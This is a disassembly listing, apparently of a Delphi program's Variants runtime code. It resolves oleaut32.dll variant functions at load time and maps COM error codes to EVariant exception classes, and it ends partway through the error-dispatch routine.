; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D250	proc near		; CODE XREF: sub_4000E1E0+CBp
					; sub_4000E480+B5p
		jmp	ds:dword_40024648
sub_4000D250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D258	proc near		; CODE XREF: sub_4000E1E0+142p
					; sub_4000E480+16Bp ...
		jmp	ds:dword_40024644
sub_4000D258	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D260	proc near		; CODE XREF: sub_4000D28C+1Cp
					; sub_4000D28C+32p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, ebx
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx-4], 0
		jz	short loc_4000D286
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		push	eax
		call	sub_400065A8	; GetProcAddress
		mov	edx, eax
		test	edx, edx
		jnz	short loc_4000D286
		mov	edx, ebx


loc_4000D286:				; CODE XREF: sub_4000D260+Fj
					; sub_4000D260+22j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000D260	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D28C	proc near		; CODE XREF: .itext:4001913Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_4000D484
		call	sub_400065A0	; GetModuleHandleA
		mov	[ebp+var_4], eax
		push	ebp
		mov	edx, offset sub_4000CDF8
		mov	eax, offset aVariantchanget ; "VariantChangeTypeEx"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F228, eax
		push	ebp
		mov	edx, offset sub_4000CE28
		mov	eax, offset aVarneg ; "VarNeg"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F22C, eax
		push	ebp
		mov	edx, offset sub_4000CE28
		mov	eax, offset aVarnot ; "VarNot"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F230, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaradd ; "VarAdd"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F234, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarsub ; "VarSub"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F238, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarmul ; "VarMul"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F23C, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVardiv ; "VarDiv"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F240, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaridiv ; "VarIdiv"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F244, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarmod ; "VarMod"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F248, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarand ; "VarAnd"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F24C, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaror ; "VarOr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F250, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarxor ; "VarXor"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F254, eax
		push	ebp
		mov	edx, offset sub_4000CE40
		mov	eax, offset aVarcmp ; "VarCmp"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F258, eax
		push	ebp
		mov	edx, offset sub_4000CE4C
		mov	eax, offset aVari4fromstr ; "VarI4FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F25C, eax
		push	ebp
		mov	edx, offset sub_4000CEB8
		mov	eax, offset aVarr4fromstr ; "VarR4FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F260, eax
		push	ebp
		mov	edx, offset sub_4000CF24
		mov	eax, offset aVarr8fromstr ; "VarR8FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F264, eax
		push	ebp
		mov	edx, offset sub_4000CF90
		mov	eax, offset aVardatefromstr ; "VarDateFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F268, eax
		push	ebp
		mov	edx, offset sub_4000CFFC
		mov	eax, offset aVarcyfromstr ; "VarCyFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F26C, eax
		push	ebp
		mov	edx, offset sub_4000D068
		mov	eax, offset aVarboolfromstr ; "VarBoolFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F270, eax
		push	ebp
		mov	edx, offset sub_4000D0E8
		mov	eax, offset aVarbstrfromcy ; "VarBstrFromCy"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F274, eax
		push	ebp
		mov	edx, offset sub_4000D158
		mov	eax, offset aVarbstrfromdat ; "VarBstrFromDate"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F278, eax
		push	ebp
		mov	edx, offset sub_4000D1CC
		mov	eax, offset aVarbstrfromboo ; "VarBstrFromBool"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F27C, eax
		pop	ecx
		pop	ebp
		retn
sub_4000D28C	endp

; ---------------------------------------------------------------------------
dword_4000D484	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0aVariantchanget	db 'VariantChangeTypeEx',0 ; DATA XREF: sub_4000D28C+17o
aVarneg		db 'VarNeg',0           ; DATA XREF: sub_4000D28C+2Do
		align 10h
aVarnot		db 'VarNot',0           ; DATA XREF: sub_4000D28C+43o
		align 4
aVaradd		db 'VarAdd',0           ; DATA XREF: sub_4000D28C+59o
		align 10h
aVarsub		db 'VarSub',0           ; DATA XREF: sub_4000D28C+6Fo
		align 4
aVarmul		db 'VarMul',0           ; DATA XREF: sub_4000D28C+85o
		align 10h
aVardiv		db 'VarDiv',0           ; DATA XREF: sub_4000D28C+9Bo
		align 4
aVaridiv	db 'VarIdiv',0          ; DATA XREF: sub_4000D28C+B1o
aVarmod		db 'VarMod',0           ; DATA XREF: sub_4000D28C+C7o
		align 4
aVarand		db 'VarAnd',0           ; DATA XREF: sub_4000D28C+DDo
		align 10h
aVaror		db 'VarOr',0            ; DATA XREF: sub_4000D28C+F3o
		align 4
aVarxor		db 'VarXor',0           ; DATA XREF: sub_4000D28C+109o
		align 10h
aVarcmp		db 'VarCmp',0           ; DATA XREF: sub_4000D28C+11Fo
		align 4
aVari4fromstr	db 'VarI4FromStr',0     ; DATA XREF: sub_4000D28C+135o
		align 4
aVarr4fromstr	db 'VarR4FromStr',0     ; DATA XREF: sub_4000D28C+14Bo
		align 4
aVarr8fromstr	db 'VarR8FromStr',0     ; DATA XREF: sub_4000D28C+161o
		align 4
aVardatefromstr	db 'VarDateFromStr',0   ; DATA XREF: sub_4000D28C+177o
		align 4
aVarcyfromstr	db 'VarCyFromStr',0     ; DATA XREF: sub_4000D28C+18Do
		align 4
aVarboolfromstr	db 'VarBoolFromStr',0   ; DATA XREF: sub_4000D28C+1A3o
		align 4
aVarbstrfromcy	db 'VarBstrFromCy',0    ; DATA XREF: sub_4000D28C+1B9o
		align 4
aVarbstrfromdat	db 'VarBstrFromDate',0  ; DATA XREF: sub_4000D28C+1CFo
aVarbstrfromboo	db 'VarBstrFromBool',0  ; DATA XREF: sub_4000D28C+1E5o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D598	proc near		; DATA XREF: .text:40018378o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4000D5BD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F280
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D5C4


loc_4000D5BC:				; CODE XREF: sub_4000D598+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4000D5BD:				; DATA XREF: sub_4000D598+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D5BC
; ---------------------------------------------------------------------------


loc_4000D5C4:				; CODE XREF: sub_4000D598:loc_4000D5BCj
					; DATA XREF: sub_4000D598+1Fo
		pop	ebp
		retn
sub_4000D598	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		db 0CCh
; ---------------------------------------------------------------------------


loc_4000D5C9:				; DATA XREF: .text:off_4000D5EAo
		add	dword ptr [esp+4], 0FFFFFFF8h
		mov	eax, [esp+4]
		mov	eax, [eax]
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------


loc_4000D5D6:				; DATA XREF: .text:4000D5EEo
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_40012D58
; ---------------------------------------------------------------------------


loc_4000D5E0:				; DATA XREF: .text:4000D5F2o
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_40012D64
; ---------------------------------------------------------------------------
off_4000D5EA	dd offset loc_4000D5C9	; DATA XREF: .text:4000D60Ao
		dd offset loc_4000D5D6
		dd offset loc_4000D5E0
word_4000D5F6	dw 1			; DATA XREF: .text:4000D61Co
		dd 2 dup(0)
		dd 0C00000h, 0
		db 0, 46h
		dd offset off_4000D5EA
		dw 8
		dd 0
		align 8
		dd offset off_4000D664
		dd offset word_4000D5F6
		dd 6 dup(0)
		dd offset dword_4000D6A0
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40012C6C
off_4000D664	dd offset sub_40012D70	; DATA XREF: .text:4000D618o
					; .text:4000D6CCo
		dd offset sub_40012CFC
		dd offset sub_40012D30
		dd offset sub_40012D10
		dd offset sub_40012D4C
		dd offset sub_40012CF8
		dd offset sub_40012B6C
		dd offset sub_40012BA4
		dd offset sub_40012C30
		dd offset sub_400030B4
		dd offset sub_400030B4
		dd offset sub_40012B60
		dd offset sub_40012D44
		dd offset sub_40012BF8
		dd offset sub_40012BEC
dword_4000D6A0	dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h
					; DATA XREF: .text:4000D638o
off_4000D6B4	dd offset dword_4000D6B8 ; DATA	XREF: .text:40012AE5o
dword_4000D6B8	dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h
					; DATA XREF: .text:off_4000D6B4o
		dd offset off_4000D664
		dd offset off_40001070
		dd 56080000h, 61697261h, 73746Eh, 408D00h
off_4000D6E4	dd offset dword_4000D730 ; DATA	XREF: sub_4000DC90+25r
		dd 7 dup(0)
		dd offset dword_4000D730
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D730	dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh
					; DATA XREF: .text:off_4000D6E4o
					; .text:4000D704o
		dd 90726F72h
off_4000D748	dd offset dword_4000D794 ; DATA	XREF: sub_4000DBA0+25r
					; sub_4000DBF4+65r
		dd 7 dup(0)
		dd offset dword_4000D794
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D794	dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h
					; DATA XREF: .text:off_4000D748o
					; .text:4000D768o
		dd 0C08B726Fh
off_4000D7AC	dd offset dword_4000D7F8 ; DATA	XREF: sub_4000DCE4+65r
					; sub_4000DDD4+DBr
		dd 7 dup(0)
		dd offset dword_4000D7F8
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D7F8	dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h
					; DATA XREF: .text:off_4000D7ACo
					; .text:4000D7CCo
		dd 0C08B726Fh
off_4000D810	dd offset dword_4000D85C ; DATA	XREF: sub_4000DDD4+199r
		dd 7 dup(0)
		dd offset dword_4000D85C
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D85C	dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h
					; DATA XREF: .text:off_4000D810o
					; .text:4000D830o
		dd 726F7272h
off_4000D874	dd offset dword_4000D8C0 ; DATA	XREF: sub_4000DDD4+ABr
		dd 7 dup(0)
		dd offset dword_4000D8C0
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D8C0	dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h
					; DATA XREF: .text:off_4000D874o
					; .text:4000D894o
		dd 726F7272h
off_4000D8D8	dd offset dword_4000D924 ; DATA	XREF: sub_4000DDD4+101r
		dd 7 dup(0)
		dd offset dword_4000D924
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D924	dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h
					; DATA XREF: .text:off_4000D8D8o
					; .text:4000D8F8o
		dd 0C08B726Fh
off_4000D93C	dd offset dword_4000D988 ; DATA	XREF: sub_4000DDD4+127r
		dd 7 dup(0)
		dd offset dword_4000D988
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D988	dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h
					; DATA XREF: .text:off_4000D93Co
					; .text:4000D95Co
		dd 6F727245h, 408D72h
off_4000D9A4	dd offset dword_4000D9F0 ; DATA	XREF: sub_4000DD80+25r
		dd 7 dup(0)
		dd offset dword_4000D9F0
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D9F0	dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h
					; DATA XREF: .text:off_4000D9A4o
					; .text:4000D9C4o
		dd 6F727245h, 408D72h
off_4000DA0C	dd offset dword_4000DA58 ; DATA	XREF: sub_4000DDD4+14Dr
		dd 7 dup(0)
		dd offset dword_4000DA58
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DA58	dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h
					; DATA XREF: .text:off_4000DA0Co
					; .text:4000DA2Co
		dd 408D72h
off_4000DA70	dd offset dword_4000DABC ; DATA	XREF: sub_4000DDD4+173r
		dd 7 dup(0)
		dd offset dword_4000DABC
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DABC	dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh
					; DATA XREF: .text:off_4000DA70o
					; .text:4000DA90o
		dd 6F727245h, 408D72h
off_4000DAD8	dd offset dword_4000DB24 ; DATA	XREF: sub_4000DDD4+1BCr
		dd 7 dup(0)
		dd offset dword_4000DB24
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DB24	dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h
					; DATA XREF: .text:off_4000DAD8o
					; .text:4000DAF8o
		dd 726F7272h
off_4000DB3C	dd offset dword_4000DB88 ; DATA	XREF: sub_4000E0EC+25r
		dd 7 dup(0)
		dd offset dword_4000DB88
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DB88	dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h
					; DATA XREF: .text:off_4000DB3Co
					; .text:4000DB5Co
		dd 0C08B726Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DBA0	proc near		; CODE XREF: sub_4000DDD4:loc_4000DE63p
					; sub_4000E744+33p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DBEA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AFD4
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D748
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DBF1


loc_4000DBE1:				; CODE XREF: sub_4000DBA0+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DBEA:				; DATA XREF: sub_4000DBA0+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DBE1
; ---------------------------------------------------------------------------


loc_4000DBF1:				; CODE XREF: sub_4000DBA0+49j
					; DATA XREF: sub_4000DBA0+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DBA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DBF4	proc near		; CODE XREF: sub_4000E034+1Ap
					; sub_4000E8E0+74p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000DC83
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4001293C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_4001293C
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001AEC0
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D748
		call	sub_4000B06C
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DC8A


loc_4000DC75:				; CODE XREF: sub_4000DBF4+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000DC83:				; DATA XREF: sub_4000DBF4+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DC75
; ---------------------------------------------------------------------------


loc_4000DC8A:				; CODE XREF: sub_4000DBF4+8Ej
					; DATA XREF: sub_4000DBF4+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DBF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DC90	proc near		; CODE XREF: sub_4000DDD4:loc_4000DE93p
					; sub_4000E35C+3Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DCDA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AFB4
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D6E4
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DCE1


loc_4000DCD1:				; CODE XREF: sub_4000DC90+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DCDA:				; DATA XREF: sub_4000DC90+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DCD1
; ---------------------------------------------------------------------------


loc_4000DCE1:				; CODE XREF: sub_4000DC90+49j
					; DATA XREF: sub_4000DC90+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DCE4	proc near		; CODE XREF: sub_4000E034+25p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000DD73
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4001293C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_4001293C
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001B014
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D7AC
		call	sub_4000B06C
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DD7A


loc_4000DD65:				; CODE XREF: sub_4000DCE4+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000DD73:				; DATA XREF: sub_4000DCE4+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DD65
; ---------------------------------------------------------------------------


loc_4000DD7A:				; CODE XREF: sub_4000DCE4+8Ej
					; DATA XREF: sub_4000DCE4+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DCE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DD80	proc near		; CODE XREF: sub_4000E480+F9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DDCA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AF94
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D9A4
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DDD1


loc_4000DDC1:				; CODE XREF: sub_4000DD80+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DDCA:				; DATA XREF: sub_4000DD80+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DDC1
; ---------------------------------------------------------------------------


loc_4000DDD1:				; CODE XREF: sub_4000DD80+49j
					; DATA XREF: sub_4000DD80+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DD80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DDD4	proc near		; CODE XREF: sub_4000E028+4p
					; sub_4000E034:loc_4000E060p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4000DDDC:				; CODE XREF: sub_4000DDD4+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4000DDDC
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E019
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		cmp	eax, 8002000Ah
		jg	short loc_4000DE36
		jz	loc_4000DE9D
		cmp	eax, 80020005h
		jg	short loc_4000DE27
		jz	short loc_4000DE63
		sub	eax, 80004001h
		jz	loc_4000DF0F
		sub	eax, 0BFFEh
		jz	loc_4000DF7E
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE27:				; CODE XREF: sub_4000DDD4+34j
		sub	eax, 80020008h
		jz	short loc_4000DE6D
		dec	eax
		jz	short loc_4000DE93
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE36:				; CODE XREF: sub_4000DDD4+27j
		sub	eax, 8002000Bh
		jz	loc_4000DEC3
		sub	eax, 2
		jz	loc_4000DEE9
		sub	eax, 50001h
		jz	loc_4000DF35
		sub	eax, 49h
		jz	loc_4000DF5B
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE63:				; CODE XREF: sub_4000DDD4+36j
		call	sub_4000DBA0
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE6D:				; CODE XREF: sub_4000DDD4+58j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B090
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D874
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE93:				; CODE XREF: sub_4000DDD4+5Bj
		call	sub_4000DC90
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE9D:				; CODE XREF: sub_4000DDD4+29j
		lea	edx, [ebp+var_8]
		mov	eax, off_4001AF00
		call	sub_400062F0
		mov	ecx, [ebp+var_8]
		mov	dl, 1
		mov	eax, ds:off_4000D7AC
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DEC3:				; CODE XREF: sub_4000DDD4+67j
		lea	edx, [ebp+var_C]
		mov	eax, off_4001B050
		call	sub_400062F0
		mov	ecx, [ebp+var_C]
		mov	dl, 1
		mov	eax, ds:off_4000D8D8
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DEE9:				; CODE XREF: sub_4000DDD4+70j
		lea	edx, [ebp+var_10]
		mov	eax, off_4001B0C0
		call	sub_400062F0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_4000D93C
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF0F:				; CODE XREF: sub_4000DDD4+3Dj
		lea	edx, [ebp+var_14]
		mov	eax, off_4001AFF4
		call	sub_400062F0
		mov	ecx, [ebp+var_14]
		mov	dl, 1
		mov	eax, ds:off_4000DA0C
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF35:				; CODE XREF: sub_4000DDD4+7Bj
		lea	edx, [ebp+var_18]
		mov	eax, off_4001AF2C
		call	sub_400062F0
		mov	ecx, [ebp+var_18]
		mov	dl, 1
